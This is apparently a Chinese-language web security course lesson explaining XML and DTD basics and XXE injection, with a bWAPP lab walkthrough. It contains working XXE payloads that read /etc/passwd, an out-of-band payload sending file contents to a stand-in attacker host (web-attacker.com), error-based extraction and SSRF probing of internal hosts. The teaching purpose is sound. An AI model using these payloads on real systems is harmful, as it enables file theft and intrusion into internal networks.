你好,我是王昊天。

在我们浏览Web应用的时候,我们可以看到很多不同的信息,并且它们会以不同的样式展现给我们。Web开发者为了方便数据的管理和维护,往往会将数据内容和前端设计分开。XML会在这个过程中扮演很重要的角色。

XML即可扩展标记语言,它的名称来自eXtensible Markup Language的缩写。XML与HTML不同,它仅仅被设计用来传输和存储数据,不负责数据的显示。值得一提的是,它被广泛应用于各种Web应用中,为数据的读取提供了极大的便利。

可是XML在给我们带来便利的同时,也带来了一些安全性的问题,今天让我们一起来学习它带来的安全问题吧!

XML外部实体注入

XML带来的安全问题主要是XML外部实体注入,即XML external entity (XXE) injection,我们简称为XXE。在对这一漏洞进行学习之前,我们首先来学习XML的基础知识。

XML可扩展标记语言

XML的意思为可扩展标记语言,它是负责数据的传输和存储的。为了让你更好地理解它,我们直接来看示例。

# 这是XML声明。
<?xml version="1.0" encoding="ISO-8859-1"?>
# 接下来开始了对存储数据的描述,它的根元素为`note`。
<note date="2022/02/08">
  <to>LiYang</to>
  <from>WangHua</from>
  <heading>Email</heading>
  <body>Welcome to China!</body>
</note>  

这就是一个简单的XML语句,你可能看不懂它,但不要着急,我来给你解释一下。

代码第一行的内容为XML语言的声明,它定义了XML版本(1.0)以及所使用的编码(ISO-8859-1)。完成声明之后,就可以开始存储数据了,可以看到它包含了很多的标签,其中note标签是它的根节点,在根节点下面有很多标签如<to>、<from>等,这些标签的名字可由我们自由设定,标签中夹的内容为标签对应的数据,这可以方便Web应用去获取。

其中note标签中包含了一个date属性,标签中的属性主要用来记录数据的元数据,例如数据的编号等。数据本身则应该存储为元素,所以我们最好将上述XML代码改为如下:

# 这是XML声明。
<?xml version="1.0" encoding="ISO-8859-1"?>
# 接下来开始了对存储数据的描述,它的根元素为`note`。
<note id="1">
  <date>2022/02/08</date>
  <to>LiYang</to>
  <from>WangHua</from>
  <heading>Email</heading>
  <body>Welcome to China!</body>
</note>  

这样XML代码就更加符合规范。当然,XML代码也是存在一定的形式要求的,那就是XML验证,我们先来看看对于XML的形式要求是什么。

第一个要求为,XML文档必须要有根元素,在上述代码示例中note即为根元素。符合这一个要求后,验证程序会去检验XML文档中必须有关闭标签,即有了<date>就必须要有</date>,并且标签中的字母大小写要一致。最后,验证程序会去判断XML是否被正确嵌套了,并且它标签中的属性值是否加了引号。

当一个XML文档符合上述形式要求后,它还需要满足一个文档类型定义即DTD的语法规则,接下来让我们一起来学习它。

DTD文档类型定义

DTD的作用为定义XML文档的合法构建方式,为了让你更好地理解它,下面让我们一起来看一个示例:

<!DOCTYPE note [
  <!ELEMENT note (date,to,from,heading,body)>
  <!ELEMENT date    (#PCDATA)>
  <!ELEMENT to      (#PCDATA)>
  <!ELEMENT from    (#PCDATA)>
  <!ELEMENT heading (#PCDATA)>
  <!ELEMENT body    (#PCDATA)>
]> 

在上述DTD代码中,第一行定义了这是对哪种类型的根元素的限制,如在上述示例中,就是对note类型的限制。然后规定了这个节点下面有哪些子标签,并且对每个标签的内容进行定义,示例中将每个标签的内容都规定为PCDATA即解析字符数据。

完成了DTD的编写之后,Web应用在处理XML文档时,就会开始判断XML是否合法,如果合法就会处理这个文档,否则就不会继续处理这个文档。一般来说,DTD文档既可以被写在XML文档内,也可以通过外部引用进行导入,它的导入方式如下:

<!DOCTYPE note SYSTEM "http://www.example.com/example.dtd">

#其中 example.dtd文件为
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

这段代码引入了外部DTD文件,这里是一个安全隐患。到这里,你可能会好奇DTD不就是做一些检测工作,会导致什么安全问题呢?

事实上,这个DTD文档,还有一个实体声明的功能,它的这一功能也就是导致我们今天所讲的XXE漏洞的主要原因。接下来,让我们一起来重点看看它吧。

DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,这么说可能会有点抽象,下面我们一起看一个示例,这样理解起来就会简单些。

<?xml version="1.0"?>
<!DOCTYPE example [
#<!ENTITY 实体名称 “实体的值”>
<!ENTITY to "LiHua">
]>
<example>&to;</example>

在这个示例的DTD语句中,定义了一个实体to,并让它的值为LiHua,然后在XML语句中,可以用&to调用这个实体。

这是一个内部实体声明,因为实体的值已经被写在了XML语句中,它其实还支持外部实体声明,具体的实现方式为:

#<!ENTITY 实体名称 SYSTEM "URI">
<!ENTITY to SYSTEM "http://example.com/example.dtd">

这个功能就是我们今天所讲的XXE的罪魁祸首,攻击者就是通过DTD外部实体声明来实现外部实体注入的。

XML外部实体注入的产生原因

如果Web应用存在外部实体注入问题,那么攻击者可以构建负载如下:

<!DOCTYPE a [
     <!ENTITY b SYSTEM "file:///etc/passwd">
]>
<c>&b;</c>

如果页面解析了其中c标签的内容,并将它输出在Web页面上,那么攻击者就可以读取到隐私文件passwd里的内容,这是非常危险的。

当然攻击者也可以利用DTD文档引入外部DTD文档,然后再引入外部实体声明,这样需要的XML内容为:

<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://evial_ip.com/evil.dtd">
<c>&b;</c>

其中外部的evil.dtd文件的内容为:

<!ENTITY b SYSTEM "file:///etc/passwd">

这样也是可以实现输出隐私文件passwd的功能。除此之外,攻击者还可以通过DTD外部实体声明引入外部实体声明,这有点类似于套娃了,不过它也是一种可行的方式,让我们一起来看看吧。

<?xml version="1.0"?>
<!DOCTYPE a [
    <!ENTITY % d SYSTEM "http://example.com/example.dtd">
    %d;
]>
<c>&b;</c>
#example.dtd的内容为
<!ENTITY b SYSTEM "file:///etc/passwd">

注意这里的%d,它是一个参数实体。Web应用在解析这个XML文件时,会首先将%d的值设置为example.dtd中的内容,然后调用%d,将example.dtd的运行结果赋予给b,并将它输出到标签<c>中。

以上内容就是XML外部实体注入的产生原因,下面我们一起来学习它有哪些危害吧。

XML外部实体注入的危害

XML外部实体注入会有很多危害,例如隐私文件获取以及发起SSRF攻击。让我们看一下它的攻击方式。

XXE隐私文件获取

在之前学习XXE攻击方式的过程中,我们用XXE攻击来获取passwd文件。其实这就是XXE获取隐私文件的攻击方式。

在之前的示例中,我们默认了页面会将我们设置的XML内容进行输出,但实际上,Web应用往往不会输出我们注入的XML内容。这时候就是XXE盲注,我们需要借助一些技巧,来将文件的内容展示出来。

面对XXE盲注时,我们可以利用带外的方法来获取数据:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;

在上述示例中,我们将获取到的数据通过get方式发送到攻击者的服务器,这样攻击者可以查看服务器接收到的请求获取到想要的数据。

当然,我们还可以利用报错信息来输出想要获取的数据:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

在这个示例中,我们将引入了error参数,XML会去访问一个不存在的文件,导致错误的产生,并将错误信息给eval,由于文件路径中存在我们需要的数据file,这样就会导致Web应用显示出错信息,并且其中包含我们需要的数据。我们可以看一个示例输出:

java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

XXE发起SSRF攻击

SSRF攻击即为服务端请求伪造,我们可以利用XXE来实现。首先我们先来看一个示例,这样可以帮助我们理解它的攻击方式。

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]>

这是我们需要注入的XML代码,Web应用在解析它的时候,会向其中的链接发出请求,并且这个请求是由被攻击Web应用的服务器所发送的,这就是SSRF攻击。

它到底有什么作用呢?我们可以利用它来判断Web应用服务器内网地址的开启情况,只需要将链接改为服务器的内网地址,然后根据响应的内容就可以判断内网地址是否开放,这会对内网的安全产生威胁。

在了解完XXE的攻击方式后,让我们进入到实战部分来切身体会下XXE攻击的危害吧。

实战演练

在实战过程中,我们选用靶场bwapp做测试,需要注意的是,我们要将bwapp靶场中的xxe-2.php文件中的内容作修改,将$xml的值改为如下:

$xml = simplexml_load_string($body,'SimpleXMLElement',LIBXML_NOENT);

然后,打开靶场我们可以看到,页面中有一个按钮 Any bugs?,我们点击不会有反应,这时候可以打开Burpsuite做测试,通过捕获我们获取到点击按钮会发送请求:

POST /xxe-2.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 59
sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
sec-ch-ua-platform: "macOS"
Content-type: text/xml; charset=UTF-8
Accept: */*
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/xxe-1.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: security_level=0; PHPSESSID=847jvmklugetdus5u1on5b92v6
Connection: close

<reset><login>bee</login><secret>Any bugs?</secret></reset>

经过观察,我们看到Content-type的值为text/xml,所以我们可以分析出下面的数据为XML数据,于是可以尝试进行XXE攻击。

POST /xxe-2.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 178
sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
sec-ch-ua-platform: "macOS"
Content-type: text/xml; charset=UTF-8
Accept: */*
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/xxe-1.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: security_level=0; PHPSESSID=847jvmklugetdus5u1on5b92v6
Connection: close

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE reset[
<!ENTITY Info SYSTEM "http://127.0.0.1/1.txt">
]>

<reset><login>&Info;</login><secret>Any bugs?</secret></reset>

我们可以利用之前学习的知识,将请求中的XML数据进行修改,利用XXE攻击获取到1.txt文件中的内容。

图片

可以看到1.txt中的内容已经被显示在响应中,我们的XXE攻击成功。

总结

这一讲我们学习了XML外部实体注入攻击,首先我们介绍了什么是XML可扩展标记语言,知道它是一个用来存储和调用数据的文件,并对它的语法进行了大致的了解。

随着对它学习的深入,我们知道了XML中存在一个验证文档,即DTD文档类型定义,并了解到它其中有一个实体定义的问题,也就是引起XXE漏洞的主要原因。

在学习完一些XML以及DTD的基础知识后,我们深入地分析了XXE漏洞产生的原因,即XML代码注入导致的DTD对外部实体的定义,从而获取到一些隐私文件或者发起服务端请求伪造。

最后,我们通过实战切身体会到了XXE攻击的危害,并且加深了我们对这一攻击方式的理解。

思考题

你知道有什么防范XXE攻击的措施吗?

欢迎在评论区留下你的思考。如果觉得今天的内容对你有所帮助的话,也欢迎你把课程分享给其他同事或朋友,我们共同学习进步!